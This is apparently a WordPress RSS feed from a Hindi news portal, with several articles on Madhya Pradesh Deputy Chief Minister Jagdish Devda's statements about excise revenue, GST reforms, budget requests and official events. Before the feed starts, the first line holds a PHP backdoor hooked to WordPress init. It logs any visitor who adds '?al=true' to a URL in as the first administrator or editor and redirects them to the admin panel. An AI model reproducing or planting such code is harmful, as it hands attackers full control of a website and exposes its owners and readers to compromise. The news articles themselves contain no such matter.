// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Deputy Chief Minister Deora – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Mon, 23 Mar 2026 15:24:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 आबकारी राजस्व में 20 प्रतिशत तक होगी वृद्धि : उप मुख्यमंत्री देवड़ा https://pratyushaashakinayikiran.com/?p=207199 Mon, 23 Mar 2026 15:24:00 +0000 https://pratyushaashakinayikiran.com/?p=207199 आबकारी व्यवस्था की समीक्षा की

भोपाल
उप मुख्यमंत्री जगदीश देवड़ा ने सोमवार को मंत्रालय में आबकारी व्यवस्था वर्ष 26-27 की समीक्षा की। वर्ष 26-27 के म.प्र. समस्त मदिरा दुकानों का ई-टेडर एवं ई टेंडर कम ऑक्सन के माध्यम से निष्पादन करने का नीतिगत निर्णय लिया गया है। वर्ष 2026-2027 के लिए मदिरा दुकानों के वर्ष 2025-26 के वार्षिक मूल्य में आबकारी नीति अनुसार 20 प्रतिशत वृद्धि की जाकर वर्ष 2026-27 के लिए आरक्षित मूल्य का निर्धारण किया गया है। वर्ष 2026-27 के लिये मदिरा दुकानों से सरकार को 19 हजार 952 करोड़ की प्राप्ति होगी। अब तक कुल 6 चरणों में हुए मदिरा दुकानों के निष्पादन से 11 हजार 827 का आबकारी राजस्व सुनिश्चित हुआ है, जो कि वर्ष 2025-26 वार्षिक मूल्य से 30 प्रतिशत अधिक है।

उप मुख्यमंत्री देवड़ा को बताया गया कि अब तक उमरिया, सीधी, शहडोल, मडला, डिण्डोरी, खरगौन, आदि जिले सौ प्रतिशत राजस्व निष्पादित हो चुके हैं। कम राजस्व वसूली वाले जिले क्रमश: इन्दौर 78 प्रतिशत, ग्वालियर 79 प्रतिशत, धार 76 प्रतिशत, शिवपुरी 80 प्रतिशत, रीवा 85 प्रतिशत, खण्डवा 82 प्रतिशत, अशोकनगर 82 प्रतिशत सिंगरौली 83 प्रतिशत और नर्मदापुरम 93 प्रतिशत राजस्व प्राप्त किया जा चुका है।

उप मुख्यमंत्री देवड़ा ने निर्देशित किया है कि जिन जिलों में राजस्व का लक्ष्य प्राप्त करना शेष है उनमें भोपाल, जबलपुर, रतलाम, कटनी, शाजापुर, आलीराजपुर, दमोह, नीमच और झाबुआ जिला शामिल हैं। उप मुख्यमंत्री देवड़ा ने इन जिलों पदस्थ जिला आबकारी अधिकारियों को विशेष प्रयास करने के लिये निर्देशित किया। समिति की बैठक में परिवहन मंत्री राव उदय प्रताप सिंह, लोक स्वास्थ्य यांत्रिकी मंत्री श्रीमती संपतिया उइके उपस्थित थीं। साथ ही प्रमुख सचिव वाणिज्यिक कर, आबकारी आयुक्त एवं विभाग के वरिष्ठ अधिकारी उपस्थित रहें।

 

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अभिलेखागार बनने से रिकॉर्ड व्यवस्थित रहेंगे एवं कार्य की गति बढ़ेगी : उप मुख्यमंत्री देवड़ा https://pratyushaashakinayikiran.com/?p=189896 Fri, 07 Nov 2025 13:38:00 +0000 https://pratyushaashakinayikiran.com/?p=189896 अभिलेखागार बनने से रिकॉर्ड व्यवस्थित रहेंगे एवं कार्य की गति बढ़ेगी : उप मुख्यमंत्री  देवड़ा

मंदसौर में एक करोड़ 66 लाख से निर्मित राजस्व एवं सामान्य अभिलेखागार भवन का किया भूमि-पूजन

भोपाल 
उप मुख्यमंत्री  जगदीश देवड़ा ने कहा है कि अभिलेखागार भवन के निर्माण से मंदसौर जिले के समस्त राजस्व एवं सामान्य अभिलेख व्यवस्थित रूप से संधारित किए जा सकेंगे। सभी रिकॉर्ड एक ही स्थान पर सुरक्षित रहेंगे। इससे कार्य प्रणाली में पारदर्शिता एवं गति आएगी। रिकॉर्ड के व्यवस्थित नहीं रहने से कई बार कार्यों में विलंब या कठिनाई आती है, अभिलेखों के सुव्यवस्थित रखरखाव से यह समस्या नहीं होगी। यह बात उप मुख्यमंत्री  देवड़ा ने शुक्रवार को सुशासन भवन परिसर मंदसौर में राजस्व अभिलेखागार एवं सामान्य अभिलेखागार भवन का भूमि-पूजन कार्यक्रम में कही। उप मुख्यमंत्री  देवड़ा ने इस महत्वपूर्ण कार्य के लिए राज्य सरकार का आभार व्यक्त करते हुए कहा कि यह अभिलेखागार प्रशासनिक कार्यों को अधिक सुगम और प्रभावी बनाएगा। भवन लगभग 1 करोड़ 66 लाख रुपए की लागत से निर्माण एजेंसी पीआईयू विभाग द्वारा निर्मित किया जाएगा।

कार्यक्रम में लोकसभा सांसद  सुधीर गुप्ता, जिला पंचायत अध्यक्ष मती दुर्गा विजय पाटीदार, मंदसौर विधायक  विपिन जैन, पूर्व विधायक  यशपाल सिंह सिसोदिया, योजना समिति सदस्य  राजेश दीक्षित, नगर पालिका अध्यक्ष मती रमादेवी बंशीलाल गुर्जर, जिला पंचायत उपाध्यक्ष मती मनुप्रिया विनीत यादव सहित अन्य जनप्रतिनिधि, कलेक्टर मती अदिती गर्ग, पुलिस अधीक्षक  विनोद कुमार मीना, अपर कलेक्टर मती एकता जायसवाल, सीईओ जिला पंचायत  अनुकूल जैन, अधिकारी-कर्मचारी उपस्थित रहे।

 

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आजीविका के नये मौके और राजस्व संग्रहण बढ़ा : उप मुख्यमंत्री देवड़ा https://pratyushaashakinayikiran.com/?p=189840 Fri, 07 Nov 2025 11:39:00 +0000 https://pratyushaashakinayikiran.com/?p=189840 आजीविका के नये मौके और राजस्व संग्रहण बढ़ा : उप मुख्यमंत्री देवड़ा

जीएसटी सुधारों का म.प्र. में हुआ व्यापक प्रभाव

उत्पादों की कीमतें 6 से 10 प्रतिशत तक कम हुई

भोपाल

प्रधानमंत्री नरेन्द्र मोदी के मार्गदर्शन में लागू किए गए नए जीएसटी सुधारों का मध्यप्रदेश के व्यापार, उद्योग और एमएसएमई सेक्टर पर व्यापक सकारात्मक प्रभाव नजर आने लगा है। इन सुधारों से राज्य के विभिन्न उत्पादों में 6 से 10 प्रतिशत तक कीमतों की कमी दर्ज की गई है। इससे न केवल उद्योगों की लागत घटी है, बल्कि रोजगार, विकास और आजीविका के नए अवसर भी तेजी से बढ़े हैं।

राज्य ने वित्तीय वर्ष 2025-26 के सितम्बर माह तक निर्धारित लक्ष्य ₹8,212 करोड़ के विरुद्ध ₹8,293.01 करोड़ का राजस्व प्राप्त किया, जो लक्ष्य से 0.99 प्रतिशत अधिक है। वर्तमान वर्ष में सितम्बर 2025 तक प्राप्त राजस्व, गत वर्ष की तुलना में 16.88 प्रतिशत अधिक है। यह संकेत है कि जीएसटी सुधारों ने राज्य की आर्थिक गतिविधियों को गति दी है।

उप मुख्यमंत्री एवं वित्त मंत्री जगदीश देवड़ा ने कहा कि- “प्रधानमंत्री मोदी के मार्गदर्शन में किए गए जीएसटी सुधारों ने व्यापार जगत, उद्योगों और कारीगरों के लिए नई ऊर्जा दी है। कर दरों में की गई कमी से उत्पाद सस्ते हुए हैं, जिससे उपभोक्ताओं को राहत और व्यापारियों को प्रतिस्पर्धात्मक लाभ मिला है। इन सुधारों से आत्मनिर्भर भारत और विकसित भारत 2047 के लक्ष्य की दिशा में मध्यप्रदेश अग्रसर हो रहा है।”

उद्योग, हस्तशिल्प और कारीगरी पर जीएसटी सुधारों का प्रभाव

इंदौर नमकीन उद्योग

इंदौर सेंव, लौंग सेंव, मिक्सचर और चिवड़ा जैसे उत्पादों का जीआई टैग प्राप्त केंद्र इंदौर, लगभग 1 लाख प्रत्यक्ष और 2.5 लाख अप्रत्यक्ष रोजगार देता है। इसका निर्यात मध्य पूर्व, ब्रिटेन और अमेरिका तक होता है। नमकीन पर जीएसटी 12% से घटाकर 5% करने से उत्पादों में 6-7% तक सस्ती होने की प्रवृत्ति देखी गई है। इससे घरेलू बिक्री में वृद्धि और निर्यात की प्रतिस्पर्धात्मकता में सुधार हुआ है।

कृषि मशीनरी

मध्यप्रदेश, भारत का दूसरा सबसे बड़ा सोयाबीन उत्पादक राज्य होने के साथ कृषि-मशीनीकरण का प्रमुख केंद्र भी है। इंदौर, भोपाल, देवास, ग्वालियर, उज्जैन और विदिशा में एमएसएमई क्लस्टर द्वारा सीड ड्रिल, थ्रेशर, हार्वेस्टर और सिंचाई पंप बनाए जाते हैं। यहां लगभग 25,000 श्रमिक प्रत्यक्ष और 60,000 लोग अप्रत्यक्ष रूप से जुड़े हैं। ट्रैक्टर, पंप और उपकरणों पर जीएसटी 12/18% से घटाकर 5% करने से उपकरणों की लागत में 7-13% तक की गिरावट आने की उम्मीद है।

माहेश्वरी साड़ियां

खरगोन जिले का महेश्वरी हथकरघा क्षेत्र 2,600 करघों पर लगभग 8,000 बुनकरों को रोजगार देता है, जिनमें महिलाएं मुख्य भूमिका निभाती हैं। विशिष्ट उलटी किनारी (बुगड़ी) वाली माहेश्वरी साड़ियां 2010 से जीआई टैग प्राप्त हैं और यूरोप व अमेरिका तक निर्यात होती हैं। वस्त्र उत्पादों पर जीएसटी 12% से घटाकर 5% करने से ये साड़ियां लगभग 6% सस्ती होने की उम्मीद है, जिससे घरेलू और निर्यात दोनों बाजारों में मांग बढ़ेगी।

गोंड चित्रकलाएं

मंडला, डिंडोरी, उमरिया और सिवनी में बनने वाली गोंड चित्रकलाएं 2015 से जीआई टैग प्राप्त हैं। ये लोककथाओं और पौराणिक कथाओं पर आधारित होती हैं। जीएसटी 12% से घटाकर 5% करने से इन कलाकृतियों में लगभग 6% कीमत कमी आई है, जिससे कलाकारों को ई-कॉमर्स और निर्यात बाजारों में प्रतिस्पर्धात्मक लाभ मिला है।

लकड़ी के लाख के खिलौने

मुख्य रूप से बुधनी (सीहोर), उज्जैन और ग्वालियर में तैयार यह पारंपरिक शिल्प 2,000-2,500 कारीगरों को रोजगार देता है। जीएसटी 12% से घटाकर 5% करने से कीमतों में 6% तक कमी आई है, जिससे ये पर्यावरण-अनुकूल खिलौने प्लास्टिक के विकल्प के रूप में लोकप्रिय हो रहे हैं। जापान और यूरोप जैसे निर्यात बाजारों में इनकी मांग बढ़ी है।

टेराकोटा और मिट्टी के शिल्प

मंडला, बैतूल, उज्जैन और टीकमगढ़ में 5,000-6,000 ग्रामीण कारीगर, ज्यादातर महिलाएं, टेराकोटा खिलौनों और सजावटी वस्तुओं का निर्माण करती हैं। जीएसटी 12% से घटाकर 5% करने से ये उत्पाद लगभग 6% सस्ते हुए हैं, जिससे त्योहारी सीजन में बिक्री में वृद्धि हुई है।

बेल मेटल और डोकरा शिल्प

बैतूल और बालाघाट के आदिवासी क्षेत्रों में 5,000 कारीगर डोकरा कला में कार्यरत हैं। जीएसटी 12% से घटाकर 5% करने से उत्पादों की कीमत में 6% की कमी आई है, जिससे मशीन निर्मित मूर्तियों के मुकाबले यह शिल्प फिर से लोकप्रिय हुआ है।

लाख के बर्तन और बेल धातु शिल्प

टीकमगढ़, झाबुआ और अलीराजपुर में 5,000-6,000 कारीगर लाख के बर्तन और बेल धातु की वस्तुएं बनाते हैं। बेल धातु पर जीएसटी 28% से घटाकर 18% और लाख के बर्तनों पर 12% से घटाकर 5% करने से कीमतों में 6-10% की कमी आई है, जिससे घरेलू मेलों में बिक्री और निर्यात दोनों में बढ़ोतरी हुई है।

बांस और बेंत के हस्तशिल्प

बालाघाट, मंडला और डिंडोरी में हजारों जनजातीय परिवार बांस-बेंत के शिल्प में लगे हैं। लगभग 12,000 प्रत्यक्ष और 25,000 अप्रत्यक्ष महिला कारीगरों को काम मिला है। जीएसटी 12% से घटाकर 5% करने से इन उत्पादों में 6% की कीमत कमी आई है, जिससे इको-फ्रेंडली उत्पादों के निर्यात को प्रोत्साहन मिला है।

पीतल के बर्तन

टीकमगढ़, छतरपुर और बैतूल के पीतल उद्योगों में वंशानुगत कारीगर पारंपरिक बर्तन और दीपक बनाते हैं। जीएसटी 12% से घटाकर 5% करने से कीमतों में लगभग 6% की कमी आई है, जिससे कारीगरों को स्टील और एल्यूमिनियम से प्रतिस्पर्धा में राहत मिली है।

सीमेंट उद्योग

सतना, कटनी, दमोह और रीवा जैसे केंद्रों के कारण मध्यप्रदेश भारत का सबसे बड़ा सीमेंट उत्पादक है। यहां लगभग 50,000 प्रत्यक्ष और 2 लाख अप्रत्यक्ष रोजगार हैं। जीएसटी 28% से घटाकर 18% करने से प्रति 50 किलो बैग में ₹25-30 की कीमत कमी हुई है। इससे निर्माण और आवास क्षेत्र को बढ़ावा मिला है।

बलुआ पत्थर उद्योग

ग्वालियर, शिवपुरी और टीकमगढ़ के केंद्रों में 25,000-30,000 श्रमिक कार्यरत हैं। जीएसटी 28% से घटाकर 18% करने से स्लैब और टाइल्स 8% सस्ती हुई हैं, जिससे निर्माण और निर्यात को बढ़ावा मिला है।

चमड़े के जूते उद्योग

देवास, इंदौर और ग्वालियर के क्लस्टर में 40,000 प्रत्यक्ष और 1.2 लाख अप्रत्यक्ष रोजगार हैं। ₹2,500 तक के जूतों पर जीएसटी 18% से घटाकर 5% करने से 11% कीमत कमी हुई है, जिससे कारीगरों की आमदनी बढ़ी है और जूता उद्योग को नई प्रतिस्पर्धात्मक बढ़त मिली है।

जीएसटी सुव्यवस्थीकरण से मध्यप्रदेश को घरेलू स्नैक्स, साड़ियां, आदिवासी शिल्प, सीमेंट, बलुआ पत्थर और जूते-चप्पल तक हर क्षेत्र में व्यापक लाभ हुआ है। लागत घटने से कारीगरों को सहयोग, एमएसएमई को मजबूती और घरेलू व वैश्विक बाजारों में प्रतिस्पर्धात्मकता में सुधार हुआ है। महेश्वर के बुनकरों, मंडला के कलाकारों, सतना के सीमेंट कर्मियों और देवास के जूता निर्माताओं तक, यह सुधार ग्रामीण और शहरी आजीविका को नई दिशा दे रहा है।

 

 

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उप मुख्यमंत्री देवड़ा ने इंदौर राजवाड़ा बाजार से खरीदे मिट्टी के दीपक https://pratyushaashakinayikiran.com/?p=185137 Sun, 12 Oct 2025 15:21:00 +0000 https://pratyushaashakinayikiran.com/?p=185137 स्वदेशी को अपनाने की कही बात

भोपाल
उप मुख्यमंत्री श्री जगदीश देवड़ा ने स्वेदशी उत्पादों की खरीदी को बढ़ावा देने, स्वदेशी को उपनाने की अपील की है। उन्होंने कहा कि आत्मनिर्भर भारत के लिए स्वेदशी ही उत्तम रास्ता है। उन्होंने प्रतीक रूप में इंदौर राजवाड़ा बाजार से मिट्टी के दीपक खरीदे। उन्होंने फुटपाथ पर दीपकों की दुकान सजाए महिला दुकानदार से दीपक खरीदे।

देश भर में दीपावली की धूम है, दुकानें सज गयी है घरों में साफ़-सफ़ाई शुरू हो चुकी है और घरों को सजाने का सामान भी हर दुकान पर सजने लगा है। ऑनलाइन शॉपिंग करने के साथ फुटपाथ पर दुकान लगाने वाले लोगों को भी प्रोत्साहित करें। इसी असमानता को दूर करने और अपनों से जुड़ने के लिए देश के प्रधानमंत्री श्री नरेंद्र मोदी द्वारा "आत्मनिर्भर भारत" के स्वदेशी अपनाओ का नारा दिया गया है। इस अवसर पर उनके साथ क्षेत्रीय विधायक गोलू शुक्ला और शहर अध्यक्ष सुमित मिश्रा भी मौजूद थे। उप मुख्यमंत्री श्री देवड़ा ने कहा कि स्वदेशी संकल्प को पूरा करने के लिए देश के प्रधानमंत्री नरेंद्र मोदी का संकल्प हर नागरिक को पूरा करना होगा।

 

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भारत को विश्‍व की अग्रणी अर्थव्‍यवस्‍थाओं में लाने के लिए म.प्र. प्रतिबद्ध : उपमुख्यमंत्री देवड़ा https://pratyushaashakinayikiran.com/?p=112077 Fri, 20 Dec 2024 20:57:00 +0000 https://pratyushaashakinayikiran.com/?p=112077 भोपाल
उप मुख्यमंत्री श्री जगदीश देवड़ा ने कहा है कि मध्‍यप्रदेश सरकार यशस्‍वी प्रधानमंत्री श्री नरेन्‍द्र मोदी के नेतृत्‍व में भारत को समग्र रूप से विकसित करने तथा विश्‍व की अग्रणी अर्थव्‍यवस्‍थाओं की श्रेणी में लाने के लिए समर्पित और प्रतिबद्ध है। उज्जैन में 2028 में आयोजित होने वाले सिंहस्‍थ महापर्व की चर्चा करते हुए उपमुख्यमंत्री श्री देवड़ा ने मुख्यमंत्री डॉ. मोहन यादव के कुशल नेतृत्व में प्रदेश सरकार द्वारा सिंहस्थ क्षेत्र में सुनियोजित रूप से विकास व जन-सुविधाओं की भी व्‍यापक व्‍यवस्‍था के लिए आगामी बजट में 'सिंहस्‍थ' आयोजन के लिए प्रावधान का अनुरोध किया। केन्द्रीय वित्त मंत्री श्रीमती निर्मला सीतारमन की अध्यक्षता में शुक्रवार को राजस्थान के जैसलमेर में राज्यों और केन्द्र शासित प्रदेशों के वित्त मंत्रियों के साथ हुई प्री बजट मीटिंग में मध्यप्रदेश का प्रतिनिधित्व कर रहे थे।

उपमुख्यमंत्री श्री देवड़ा ने कहा कि विशेष पूंजीगत सहायता योजना के संबंध में आम जनता के जीवन-यापन में सकारात्‍मक परिवर्तन भी हो रहा है। वित्‍तीय वर्ष 2022-23 में प्रदेश का कुल पूंजीगत व्‍यय रूपये 46 हजार 798 करोड़ था जो लगभग 23 प्रतिशत वृद्धि के साथ वर्ष 2023-24 में रूपये 57 हजार 348 करोड़ रहा है। उन्होने कहा कि वर्ष 2024-25 में लगभग रूपये 64 हजार 738 करोड़ का पूंजीगत व्‍यय अनुमानित है। वर्ष 2024-25 के लिए रूपये 6 हजार 187 करोड़ 73 लाख की राशि प्रदान करने के लिए केन्द्र सरकार को धन्‍यवाद दिया।

उपमुख्यमंत्री श्री देवड़ा ने राज्य की ओर से बजट की तैयारी से संबंधित सुझाव देते हुए कहा कि केन्द्र और राज्‍य सरकार द्वारा सामाजिक सुरक्षा पेंशन के अंतर्गत वित्‍त पोषित राष्‍ट्रीय वृद्धावस्‍था पेंशन, राष्‍ट्रीय विधवा पेंशन एंव राष्‍ट्रीय नि:शक्‍त पेंशन योजनाओं में वित्‍त पोषण की वर्तमान व्‍यवस्‍था पर पुर्नविचार की आवश्‍यकता है। उन्होंने कहा कि वर्ष 2014 से 2024 के मध्‍य प्रतिवर्ष 0.29 प्रतिशत से लेकर 0.44 प्रतिशत तक की जीवन-प्रत्‍याशा में वृद्धि हुई है। इस तथ्‍य के परिणामस्‍वरूप योजनान्‍तर्गत हितग्राहियों की वर्तमान पंजीबद्ध संख्‍या 24 लाख 14 हजार से बढ़कर 29 लाख 43 हजार होना अनुमानित है। केन्‍द्र सरकार द्वारा मात्र 15 लाख 75 हजार हितग्राहियों के मान से ही वित्‍त पोषण किए जाने से राज्‍य सरकार को अतिरिक्‍त व्‍यय वहन करना पड़ रहा है। इस तथ्य के प्रकाश में वर्ष 2013-14 में योजना के हितग्राहियों की संख्‍या की अधिकतम सीमा के पुनरीक्षण पर विचार किया जाना चाहिए।

जल जीवन मिशन की शेष राशि जारी करने का आग्रह
जल जीवन मिशन योजना के लिये उप मुख्यमंत्री श्री देवड़ा ने कहा कि केन्‍द्र से मिशन की दूसरी किश्‍त की द्वितीय व तृतीय ट्रेंच की राशि रूपये 1 हजा़र 422 करोड़ की राशि प्राप्‍त नहीं होने से राज्‍य सरकार ने स्‍वयं के स्‍त्रोतों से योजनाओं के कार्यों को जारी रखा है। वर्ष 2024-25 में इन कार्यों के लिए रूपये 17 हजा़र करोड़ की आवश्‍यकता अनुमानित है, जिसमें केन्‍द्र की सहभागिता के अनुसार प्रदेश को रूपये 8 हजा़र 500 करोड़ की राशि भारत सरकार से अपेक्षित है। उन्होंने केन्‍द्रांश के लिए रूपये 4 हजा़र 456 करोड़ का अतिरिक्‍त प्रावधान करने और द्वितीय किश्‍त की शेष राशि रूपये 1 हजा़र 422 करोड़ उपलब्‍ध कराने का आग्रह किया।

खाद्यान्‍न उपार्जन की लागत के व्‍ययों की प्रतिपूर्ति दरों का पुर्ननिर्धारण
उपमुख्यमंत्री श्री देवड़ा ने कहा कि उपार्जन में विभिन्‍न मदों जैसे निराश्रित शुल्‍क, मण्‍डी लेबर व्‍यय, परिवहन व्‍यय, सोसायटी को कमीशन, ब्‍याज, भण्‍डारण व्‍यय, मिलर्स को प्रोत्‍साहन, बारदाना लागत आदि में किए जा रहे व्‍ययों तथा केन्‍द्र द्वारा निर्धारित दरों में अन्‍तर है। केन्‍द्र के स्‍तर पर दरों का पुनरीक्षण नहीं होने से सभी मदों में राज्‍य सरकार पर अतिरिक्‍त व्‍यय भार आ गया है। इस परिप्रेक्ष्‍य में केन्द्र से दरों के शीघ्र पुनरीक्षण अनुरोध है।

ग्रामीण सड़को के निर्माण, महात्‍मा गांधी राष्‍ट्रीय ग्रामीण रोजगार योजना एवं स्‍वच्‍छ भारत मिशन जैसे जन-सुविधाओं के कार्यक्रमों में मध्‍यप्रदेश के निरन्‍तर सराहनीय प्रदर्शन का उल्लेख करते हुए उपमुख्यमंत्री श्री देवड़ा ने ग्रामीण सड़कों की लम्‍बाई के मान से सड़कों के संधारण व रख-रखाव के लिए 60 व 40 प्रतिशत के अनुपात में केन्‍द्र से वित्‍तीय सहभागिता का अनुरोध किया।

उपमुख्यमंत्री श्री देवड़ा ने कहा कि महात्‍मा गांधी राष्‍ट्रीय ग्रामीण रोजगार योजना में केन्‍द्र सरकार द्वारा अधिसूचित मजदूरी दर, कृषि श्रमिकों के लिए अधिसूचित मजदूरी दर से कम है। इसके परिणामस्‍वरूप मजदूरी नियोजन में कमी आई है। केन्द्र सरकार से प्रशासनिक मद में व्‍यय की 6 प्रतिशत राशि की सीमा को बढ़ाया जाना चाहिए। उन्होंने कहा कि प्रदेश के अनुसूचित जनजाति वर्ग के उत्थान एवं जीवन सुधार के मद्देनजर एक वर्ष में 100 दिवस के रोजगार की बजाय 150 दिवस के रोजगार की गारण्‍टी का प्रावधान करने का आग्रह किया। प्रधानमंत्री कृषि सिंचाई योजना में वर्षा आधारित कृषि क्षेत्रों और भू-जल स्‍तर की गिरावट वाले क्षेत्रों में जल संरक्षण एवं संवर्धन के लिए वाटर शेड विकास परियोजनाओं के विकास के लिए बजट में विशेष रूप से प्रावधान करने का अनुरोध किया।

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सीखना एक निरंतर प्रक्रिया है : उप मुख्यमंत्री देवड़ा https://pratyushaashakinayikiran.com/?p=109510 Fri, 13 Dec 2024 20:46:00 +0000 https://pratyushaashakinayikiran.com/?p=109510 भोपाल
उप मुख्यमंत्री जगदीश देवड़ा ने कहा कि सीखना एक निरंतर प्रक्रिया है। उन्होंने कहा कि देश को 5 ट्रिलियन डालर की अर्थव्यवस्था बनाने के प्रधानमंत्री श्री नरेन्द्र मोदी के विजन अनुसार मध्यप्रदेश ने पूरी तैयारी कर ली है। उप मुख्यमंत्री श्री देवड़ा ने कहा कि अच्छे उद्देश्य के लिये काम की शुरूआत पूरे उत्साह के साथ करें। नियम प्रक्रियों का ज्ञान अगर शुरूआत से होता है तो आगे परेशानी नहीं होती है। सांख्यिकी विभाग में डेटा का काम बहुत महत्वपूर्ण होता है, इससे प्रदेश का बजट बनाने की प्रक्रिया आसान होती है। उप मुख्यमंत्री ने कहा कि प्रशिक्षण ले रहे कर्मचारियों के लिये यह प्रशिक्षण गुणात्मक दृष्टि से बहुत महत्वपूर्ण है और हर क्षेत्र में इसकी उपयोगिता भी है। उप मुख्यमंत्री श्री देवड़ा वाल्मी संस्थान में योजना एवं आर्थिक सांख्यिकी के नव नियुक्त कर्मचारियों के आधार-भूत प्रशिक्षण समापन समारोह कार्यक्रम को संबोधित कर रहे थे।

उप मुख्यमंत्री श्री देवड़ा ने प्रशिक्षण ले रहे कर्मचारियों से कहा कि ड्यूटी और कर्त्तव्य के प्रति ईमानदार होना चाहिए। विकसित भारत@2047 का लक्ष्य को पूरा करने के लिये आप सभी लोग सहयोग करें। उन्होंने कहा कि कार्य को बोझ समझकर न करें। उप मुख्यमंत्री श्री देवड़ा ने कहा कि मुख्यमंत्री डॉ. मोहन यादव ने विभागों में भर्ती प्रक्रिया की सहमति दी है। उसके तहत सांख्यिकी विभाग के रिक्त पदों पर शीघ्र भर्ती की जायेगी। उप मुख्यमंत्री श्री देवड़ा ने प्रशिक्षणा‍र्थियों को प्रमाण-पत्र भी वितरित किये।

आयुक्त श्री ऋषि गर्ग ने कहा कि नव नियुक्ति कर्मचारियों को 9 से 13 दिसम्बर 2024 तक प्रशिक्षण दिया गया है। प्रशिक्षण में विभाग के सभी कर्मचारियों को विभागीय जानकारी के साथ-साथ जीडीपी, स्टेट इनकम, सीएम हेल्पलाइन जनता से जुडे मुद्दों की भी जानकारी दी गई है। प्रशिक्षण कार्यक्रम में वाल्मी संस्थान की संचालक श्रीमती सरिता वाला, आर्थिक एवं सांख्यिकी विभाग के संयुक्त संचालक श्री जे.डी. रायकवार और अधिकारी-कर्मचारी उपस्थित रहे।

 

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